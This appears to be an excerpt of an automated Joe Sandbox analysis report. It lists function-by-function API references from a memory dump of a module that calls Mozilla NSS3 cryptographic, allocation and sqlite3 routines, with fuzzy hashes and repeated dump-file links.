Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: dd7aa23f46dbd2ae4d852612b3f67a0838d0bd12c788f15bc57ce689f443eb2b
Instruction ID: a7cd47c55e19428a932b5fb532c6d12545c356ca45d3713e4e0e36af56a7f8a6
Opcode Fuzzy Hash: dd7aa23f46dbd2ae4d852612b3f67a0838d0bd12c788f15bc57ce689f443eb2b
Instruction Fuzzy Hash: D921F771904244ABD7209F24DE48AAE77B4EF4565CF008538FD1897701F735EA15C7E2

Function 6C832AD0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 46stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C832AE8
strdup.MOZGLUE(00000000), ref: 6C832AFA
PR_ExitMonitor.NSS3 ref: 6C832B0B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(LD_LIBRARY_PATH), ref: 6C832B1E
strdup.MOZGLUE(.;\lib), ref: 6C832B32
PR_ExitMonitor.NSS3 ref: 6C832B4A
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C832B59

Strings

LD_LIBRARY_PATH, xrefs: 6C832B19
.;\lib, xrefs: 6C832B29, 6C832B31

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Monitor$Exitstrdup$EnterErrorgetenv
String ID: .;\lib$LD_LIBRARY_PATH
API String ID: 2438426442-3838498337
Opcode ID: a49e9d93f440a6e9b944c9aac1cba99cc13d826ac69ccb00afd8944d6536c7aa
Instruction ID: f9b5a1347320feea90d03f363099f7a74c76b16ff7c717dbe5039d39431ca5a6
Opcode Fuzzy Hash: a49e9d93f440a6e9b944c9aac1cba99cc13d826ac69ccb00afd8944d6536c7aa
Instruction Fuzzy Hash: 0101ACB6B0113167DE31ABA95E0D69636745B1324DF081430D80A92E12FB25DC28C6D3

Function 6C726DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C727D8F,6C727D8F,?,?), ref: 6C726DC8

Part of subcall function 6C77FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C77FE08
Part of subcall function 6C77FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C77FE1D
Part of subcall function 6C77FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C77FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C727D8F,?,?), ref: 6C726DD5

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C848FA0,00000000,?,?,?,?,6C727D8F,?,?), ref: 6C726DF7

Part of subcall function 6C77B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8518D0,?), ref: 6C77B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C726E35

Part of subcall function 6C77FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C77FE29
Part of subcall function 6C77FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C77FE3D
Part of subcall function 6C77FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C77FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C726E4C

Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C848FE0,00000000), ref: 6C726E82

Part of subcall function 6C726AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C72B21D,00000000,00000000,6C72B219,?,6C726BFB,00000000,?,00000000,00000000,?,?,?,6C72B21D), ref: 6C726B01
Part of subcall function 6C726AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C726B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C726F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C726F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C848FE0,00000000), ref: 6C726F6B
PR_SetError.NSS3(FFFFE005,00000000,6C727D8F,?,?), ref: 6C726FE1

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: c90ee46beea6d33e7087b788d6736315f7e69e800e693e2f58b04f2ee25d71cc
Instruction ID: 6a696d11e4bcc8f4fd7f69e0c51a89758ec92384b9ea5d0d0eb58a10416ee5da
Opcode Fuzzy Hash: c90ee46beea6d33e7087b788d6736315f7e69e800e693e2f58b04f2ee25d71cc
Instruction Fuzzy Hash: C0718071D106469FEB10CF15CE44BAABBA8FF94308F15422AE818D7B11F774EA94CB90

Function 6C760FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C761057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C761085
PK11_GetAllTokens.NSS3 ref: 6C7610B1
free.MOZGLUE(?), ref: 6C761107
PR_SetError.NSS3(00000000,00000000), ref: 6C761172
free.MOZGLUE(?), ref: 6C761182
free.MOZGLUE(?), ref: 6C7611A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C7611C5

Part of subcall function 6C7652C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C73EAC5,00000001), ref: 6C7652DF
Part of subcall function 6C7652C0: EnterCriticalSection.KERNEL32(?), ref: 6C7652F3
Part of subcall function 6C7652C0: PR_Unlock.NSS3(?), ref: 6C765358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C7611D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C7611F3

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: f4539924ee6dbcdb645bfdc57a550a71615e04639f4fbfc9352f6168ba9840c2
Instruction ID: 9d359c180c946c5a5142d4481f6ec4751189d66f46b2d6658658eef1a1fa2eee
Opcode Fuzzy Hash: f4539924ee6dbcdb645bfdc57a550a71615e04639f4fbfc9352f6168ba9840c2
Instruction Fuzzy Hash: C36183B0E013459BDF04DF66DA49B9EB7B5AF04348F144138ED19ABB41E731E944CBA1

Function 6C764A20 Relevance: 15.2, APIs: 10, Instructions: 182COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,?), ref: 6C764A4B
PK11_GetInternalSlot.NSS3 ref: 6C764A59
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C764AC6
TlsGetValue.KERNEL32 ref: 6C764B17
EnterCriticalSection.KERNEL32(?), ref: 6C764B2B
PR_Unlock.NSS3(?), ref: 6C764B77
PK11_FreeSymKey.NSS3(?), ref: 6C764B87
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C764B9A
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C764BA9
PR_SetError.NSS3(00000000,00000000), ref: 6C764BC1

Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107AD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107CD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107D6
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6A204A), ref: 6C7107E4
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,6C6A204A), ref: 6C710864
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C710880
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,6C6A204A), ref: 6C7108CB
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108D7
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108FB

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$K11_$DestroyPrivatecalloc$CriticalDoesEnterErrorFreeInternalItem_MechanismSectionSlotUnlockUtilZfree
String ID:
API String ID: 3936029921-0
Opcode ID: cb473258c8eb5f5137e97326875c85da8a26a4b61fab96124d5e595afd9d4f61
Instruction ID: 229d061e10f833ccd34aefb16e2f7fa4feedc7c9876b5f98dd18c4bf4e563687
Opcode Fuzzy Hash: cb473258c8eb5f5137e97326875c85da8a26a4b61fab96124d5e595afd9d4f61
Instruction Fuzzy Hash: 575174B5E002199FDB00DF69D959AAF77B9AF48318F144025EC09A7B01E731ED14CBA1

Function 6C76ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE10
EnterCriticalSection.KERNEL32(?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C74D079,00000000,00000001), ref: 6C76AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE7F
TlsGetValue.KERNEL32(?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AEF1
free.MOZGLUE(6C74CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C74CDBB,?), ref: 6C76AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AF30

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 1436714fb3c425cf7171670f8bf88df0d5b4118a908313d03e3077cdcfdd6bc1
Instruction ID: 75efaf4f238e7bdf1f761a2c4b5c04314af6ef8dbcf7c22df31ac14bdb75eabb
Opcode Fuzzy Hash: 1436714fb3c425cf7171670f8bf88df0d5b4118a908313d03e3077cdcfdd6bc1
Instruction Fuzzy Hash: 4551AFB1A00612AFDB11DF2AD989B5AB7B8FF05328F144674EC1897E11E731E864CBD1

Function 6C744CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C74AB7F,?,00000000,?), ref: 6C744CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C74AB7F,?,00000000,?), ref: 6C744CC8
TlsGetValue.KERNEL32(?,6C74AB7F,?,00000000,?), ref: 6C744CE0
EnterCriticalSection.KERNEL32(?,?,6C74AB7F,?,00000000,?), ref: 6C744CF4
PL_HashTableLookup.NSS3(?,?,?,6C74AB7F,?,00000000,?), ref: 6C744D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C744D10

Part of subcall function 6C7CDD70: TlsGetValue.KERNEL32 ref: 6C7CDD8C
Part of subcall function 6C7CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C744D26

Part of subcall function 6C7E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C830A27), ref: 6C7E9DC6
Part of subcall function 6C7E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C830A27), ref: 6C7E9DD1
Part of subcall function 6C7E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7E9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C744D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C744DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C744E02

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 947bad0757590db57aa8a4ce4e2f43b10fc672cf3da0ebd0e1773b34c94e8c2f
Instruction ID: 48e87f8bfde8bf5170354d9c467bcd8bb74b770e4429c2233fed16955d221c9c
Opcode Fuzzy Hash: 947bad0757590db57aa8a4ce4e2f43b10fc672cf3da0ebd0e1773b34c94e8c2f
Instruction Fuzzy Hash: 7041F9B6A00111ABEB119F28ED4D95A77A8BF1521CF058170ED08C7B16FF31D924DBE2

Function 6C7C4A70 Relevance: 15.1, APIs: 10, Instructions: 113memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000048,00000A20,0000032C,?,00000000,?,6C7BAEC0,00000A20,00000000), ref: 6C7C4A8B

Part of subcall function 6C780D30: calloc.MOZGLUE ref: 6C780D50
Part of subcall function 6C780D30: TlsGetValue.KERNEL32 ref: 6C780D6D

SECITEM_CopyItem_Util.NSS3(00000000,00000008,?,00000000), ref: 6C7C4AAA

Part of subcall function 6C77FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C778D2D,?,00000000,?), ref: 6C77FB85
Part of subcall function 6C77FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C77FBB1

PORT_Strdup_Util.NSS3(?,?,?,?,00000000), ref: 6C7C4ABD

Part of subcall function 6C780F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C722AF5,?,?,?,?,?,6C720A1B,00000000), ref: 6C780F1A
Part of subcall function 6C780F10: malloc.MOZGLUE(00000001), ref: 6C780F30
Part of subcall function 6C780F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C780F42

SECITEM_CopyItem_Util.NSS3(00000000,00000020,?,?,?,?,?,00000000), ref: 6C7C4AD6
SECITEM_CopyItem_Util.NSS3(00000000,00000034,?,?,?,?,?,?,?,?,00000000), ref: 6C7C4AEC

Part of subcall function 6C77FB60: PORT_Alloc_Util.NSS3(E0056800,00000000,?,?,6C778D2D,?,00000000,?), ref: 6C77FB9B

SECITEM_ZfreeItem_Util.NSS3(00000020,00000000,?,?,?,00000000), ref: 6C7C4B49
SECITEM_ZfreeItem_Util.NSS3(-00000034,00000000,?,?,?,?,?,00000000), ref: 6C7C4B58
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6C7C4B64
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7C4B74
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7C4B7E

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Item_$Alloc_CopyZfree$freememcpy$ArenaStrdup_Valuecallocmallocstrlen
String ID:
API String ID: 476651045-0
Opcode ID: e37770ae3d4b761a4180e4fa2db83fcb78903b026a3e4f6a1be6d10b129ec6b5
Instruction ID: b138d2eeb748982eb92f056057fe7f82135469d5c00d24ed001e657842c0ea1c
Opcode Fuzzy Hash: e37770ae3d4b761a4180e4fa2db83fcb78903b026a3e4f6a1be6d10b129ec6b5
Instruction Fuzzy Hash: 7F315DB56012059FDB10CF25DE89A677BB8BF19348B044579ED4AC7B02F731E505CBA2

Function 6C7489C0 Relevance: 15.1, APIs: 10, Instructions: 84COMMON

Download Yara Rule

APIs

PK11_CreateDigestContext.NSS3(00000004,00000000,00000000,00000000,00000000,?,6C74AE9B,00000000,?,?), ref: 6C7489DE
PK11_DigestBegin.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,6C722D6B,?,?,00000000), ref: 6C7489EF
PK11_DigestOp.NSS3(00000000,57016AC6,034C08E8,?,00000000,?,?,?,?,?,?,?,?,?,?,6C722D6B), ref: 6C748A02
PK11_DestroyContext.NSS3(00000000,00000001,?,00000000,?,?,?,?,?,?,?,?,?,?,6C722D6B,?), ref: 6C748A11

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: K11_$Digest$Context$BeginCreateDestroy
String ID:
API String ID: 407214398-0
Opcode ID: 7c0745b3a9d8fed6f75cde437219a3e7c005c33118910318f54fea4e28725406
Instruction ID: ff8a60c033a6822f92c4ae5b68e6742a3e6eb81d4ad223197b4d78d4c0753c0b
Opcode Fuzzy Hash: 7c0745b3a9d8fed6f75cde437219a3e7c005c33118910318f54fea4e28725406
Instruction Fuzzy Hash: EA1100F1F0030456FB105A646F89BBB755CAB5175DF088036ED19D9742F762D418C1F2

Function 6C722E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C722CDA,?,00000000), ref: 6C722E1E

Part of subcall function 6C77FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C729003,?), ref: 6C77FD91
Part of subcall function 6C77FD80: PORT_Alloc_Util.NSS3(A4686C78,?), ref: 6C77FDA2
Part of subcall function 6C77FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C78,?,?), ref: 6C77FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C722E33

Part of subcall function 6C77FD80: free.MOZGLUE(00000000,?,?), ref: 6C77FDD1

TlsGetValue.KERNEL32 ref: 6C722E4E
EnterCriticalSection.KERNEL32(?), ref: 6C722E5E
PL_HashTableLookup.NSS3(?), ref: 6C722E71
PL_HashTableRemove.NSS3(?), ref: 6C722E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C722E96
PR_Unlock.NSS3 ref: 6C722EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C722EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C722EC5

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 3f53a6862b99c8b9dda80708a1f19fd323892e6adc303dd806d0e8ce568820c8
Instruction ID: 2cd00e6306857535b11c9532a4eacb28f0086efd608a81e11b5ee6fe4d12455d
Opcode Fuzzy Hash: 3f53a6862b99c8b9dda80708a1f19fd323892e6adc303dd806d0e8ce568820c8
Instruction Fuzzy Hash: 5421F872E00101A7DF211B289E0DA9B3A68EF5231DF080030ED1896B61F736D568D6E1

Function 6C70FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C70FD18
sqlite3_initialize.NSS3 ref: 6C70FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C70FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C70FD99
sqlite3_free.NSS3(00000000), ref: 6C70FE3C
sqlite3_free.NSS3(?), ref: 6C70FEE3
sqlite3_free.NSS3(?), ref: 6C70FEEE

Strings

simple, xrefs: 6C70FC79

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: d59c34b356c55ba4f9e54b5c0dcf89bdc1e98c5cc4eb9e1e637f346636280856
Instruction ID: 49ff26979656f5e8d59487794abee19bc8f9a46c5206b653741e148e3fcaef33
Opcode Fuzzy Hash: d59c34b356c55ba4f9e54b5c0dcf89bdc1e98c5cc4eb9e1e637f346636280856
Instruction Fuzzy Hash: 7E9170B0B012059FDB04CF69CA94BAAB7F5FF85318F24C568D8199BB52E731E841CB94

Function 6C715CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C715EC9
